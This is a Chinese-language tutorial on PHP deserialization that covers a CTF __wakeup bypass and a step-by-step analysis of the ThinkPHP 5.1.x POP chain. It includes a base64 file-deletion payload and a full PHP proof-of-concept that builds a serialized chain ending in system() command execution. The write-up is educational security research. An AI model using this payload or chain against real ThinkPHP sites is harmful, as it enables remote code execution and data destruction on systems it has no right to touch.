前言:
PHP 将所有以 __(两个下划线)开头的类方法保留为魔术方法,这些都是PHP内置的方法。
__construct 当一个对象创建时被调用
__destruct 当一个对象销毁时被调用
__wakeup() 使用unserialize时触发
__sleep() 使用serialize时触发
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__toString() 把类当作字符串使用时触发,返回值需要为字符串
__invoke() 当脚本尝试将对象调用为函数时触发
更多魔术方法详见:https://www.php.net/manual/zh/language.oop5.magic.php
CTF
先从简单的ctf题开始。这边自己写了个简单的序列化题。
解题思路:$file参数可控,传入被反序列化之后file=flag.php的序列化值。show_resource就会把flag.php中的代码高亮显示出来。但是这里存在__wakeup函数。会在我们反序列化的时候把file又给改成ctf.php。
绕过__wakeup()魔术方法 调用 unserilize() 方法成功地重新构造对象后,如果 class 中存在 __wakeup 方法,会调用 __wakeup 方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过 __wakeup 的执行。
所以只需要使传递的元素个数大于实际的个数就行。
O:6:“xuegod”:2:{s:12:“xuegodfile”;s:8:“flag.php”;}。但是发现并没有成功绕过。
这是因为xuegodfile长度是12中,中间还有空格。在URL中空格是%00。
O:6:“xuegod”:2:{s:12:"%00xuegod%00file";s:8:“flag.php”;}或者O:6:“xuegod”:2:{S:12:"\00xuegod\00file";s:8:“flag.php”;}这里的S是指以二进制的方式去传入数据。
thinkphp5.1.X中的反序列化漏洞(pop链)
这题有点恶心了,主要学习下pop链的思想。
打开的时候要是报错了,就调整一下php的版本。
ThinkPHP只是一个开发框架,所以漏洞利用需要我们手工添加一个用户可控的unserialize参数。
$s = base64_decode($_POST['key']); unserialize($s);
下面的报错是正常的现象。
ThinkPHP反序列化漏洞任意文件删除
漏洞存在位置 think5.1.37\thinkphp\library\think\process\pipes\Windows.php
漏洞分析:
__destruct():
这里的file使我们可控的,所以只要提交对的文件路径我们就可以实任意文件的删除操作。
得出TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtzOjEzOiJjOlx4dWVnb2QudHh0Ijt9fQ==
传入我们写入存在可控点的文件中(index.php)。他不报错了。并且文件(delete.txt)也被删除了。
下一步就是想办法扩大漏洞面。(这个就有点恶心了)
前言:
反序列化漏洞的常见起点:
__wakeup 一定会调用
__destruct 一定会调用
__toString 当一个对象被反序列化后又被当做字符串使用
反序列化漏洞的常见中间跳板:
__toString 当一个对象被当做字符串使用
__get 读取不可访问或不存在属性时被调用
__set 当给不可访问或不存在属性赋值时被调用
__isset 对不可访问或不存在的属性调用isset()或empty()时被调用
反序列化漏洞的常见终点:
__call 调用不可访问或不存在的方法时被调用
call_user_func 一般php代码执行都会选择这里
call_user_func_array 一般php代码执行都会选择这里
file_exits这个函数是一个php的内置函数。要求传入的是一个字符串。我们之前传入的是一个文件路径的字符串,如果我们传入的是一个对象,那么就会调用魔术方法:__toString方法。那就先跟踪下__toString方法。
发现了一箩筐,挨个看看。
有两个__toString方法一个一个慢慢看:
这里会返回render()这个函数并且强制将其返回值转换成string类型。那就去看看render函数。
哦吼,发现它是个抽象函数。那就难以利用了。
那么就还剩这个__toString方法。这里return了toJson函数的返回值。
toJson():
我们需要找到一个$可控变量->方法(参数可控)的点,寻找$可控变量->方法(参数可控)是为了构造触发执行代码的相关函数。
toArry:getRelation这个函数我们利用不了。
可利用的地方:跟踪getArry方法,发现
$value = $this->getData($name);
那么再去跟踪getData方法。
最终$relation=$this->data[$name];
data是在类中定义的,$this->data可控,所以$relation->visible($name);可控。 这里类的定义是Trait而不是class所以需要找到一个子类同时继承了Attribute和Conversion。
这里整理一下思路:
$append=qiyou=>[“1”] → $key=qiyou $name=[“1”]
带入POC中的值 $this->getAttr($key); → $this->getAttr(qiyou);
getAttr(qiyou) <= $this->getData(qiyou);
getData函数中通过$this->data取值,data属性的定义private $data = []; return $this->data[qiyou];
所以我们只需要通过构造data[]的值利用getData函数就能控制relation的值了。
找到了一个$可控变量->方法(参数可控)的点。$relation->visible($name);
下面我们需要找到个能利用__call并且不能有$relation->visible($name);的一个类。查找之后发现了Request.php这个类。举个例子:new Request()->visible([“1”]); 就能调用出__call方法了。这里又逮到hook这个变量使我们可控的。
public function __call($method, $args)
{
if (array_key_exists($method, $this->hook)) {
array_unshift($args, $this);
return call_user_func_array($this->hook[$method], $args);
}
throw new Exception('method not exists:' . static::class . '->' . $method);
}
如何利用call_user_func_array这个回调函数呢?我一开始的想法是为啥不能直接调用system,参数:id之类的,后面发现不行。执行这个函数的条件是得满足method这个参数得在hook这个可控数组里面,也就是得是:system(system)的形式。这样是会报错的,但是在审计Request中的代码的时候发现:call_user_func这个敏感函数但是发现这里的参数都不可控。并且他是一个私有函数。那么就在本类中找一下有没有存在调用这个函数的其他函数方法发并且其形参可利用。
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
这里发现了input方法调用了这个方法,但是它的三个参数都不可用。那么就找找谁还调用了input这个参数。
发现了param函数调用了input函数不出意外的三个参数还是用不了。接着找。
这里发现了isAjax这个函数:最主要的是发现var_ajax这个参数可控。
也就是说:
public function isAjax($ajax = false)
调用param
$this->param($this->config[‘var_ajax’])
param $name可控 $name=var_ajax的值
public function param($name = ‘’, $default = null, $filter = ‘’)
input $name可控
public function input($data = [], $name = ‘’, $default = null, $filter = ‘’)
这里发现该函数通过get方式获取参数并传递给input。也就是说可控参数变成input[$data=$this->param,$name=$his->config[‘var_ajax’]],所以此时已经满足filterValue所有形参可控这个条件。
回到input这个函数:这里发现$data=$this->param这个参数传进来之后不是直接使用的,会经过getData这个函数。所以需要跟踪一下这个函数。
explode,例如从url中传入:hyp=sgx
$data=$data[$value]=$data[hyp]=sgx。
还有一个参数filter:这里我们只需要使filter=system(我们要调用的参数)。
最后回到filterValue这个函数中
arry_pop:会删除$filter中的最后一个元素,也就是filter[0]=system,system[1]=$default中的system[1]。
到这里我们就通过使用其他函数去调用我们想要利用的函数,成功的把本来不可控的参数,转换成可控的参数了。
<?php
//new Request调用__call()
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["hyp"=>["1"]];
$this->data = ["hyp"=>new Request()];
}
}
// call_user_func(system,calc);
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单ajax伪装变量
'var_ajax' => '_ajax', ];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>'hyp'];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
//Windows入口 files对象通过file_exists转换为字符串则触发__toString()方法。
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
//输出序列化payload
echo base64_encode(serialize(new Windows()));
?>
?>
总结:反序列化pop链的应用主要在于,把不可控的变量通过其他函数的调用,使不可用的变为可用的变量。thinkphp的这个漏洞的利用链:
\thinkphp\library\think\process\pipes\Windows.php - > __destruct()
\thinkphp\library\think\process\pipes\Windows.php - > removeFiles()
Windows.php: file_exists()
thinkphp\library\think\model\concern\Conversion.php - > __toString()
thinkphp\library\think\model\concern\Conversion.php - > toJson()
thinkphp\library\think\model\concern\Conversion.php - > toArray()
thinkphp\library\think\Request.php - > __call()
thinkphp\library\think\Request.php - > isAjax()
thinkphp\library\think\Request.php - > param()
thinkphp\library\think\Request.php - > input()
thinkphp\library\think\Request.php - > filterValue()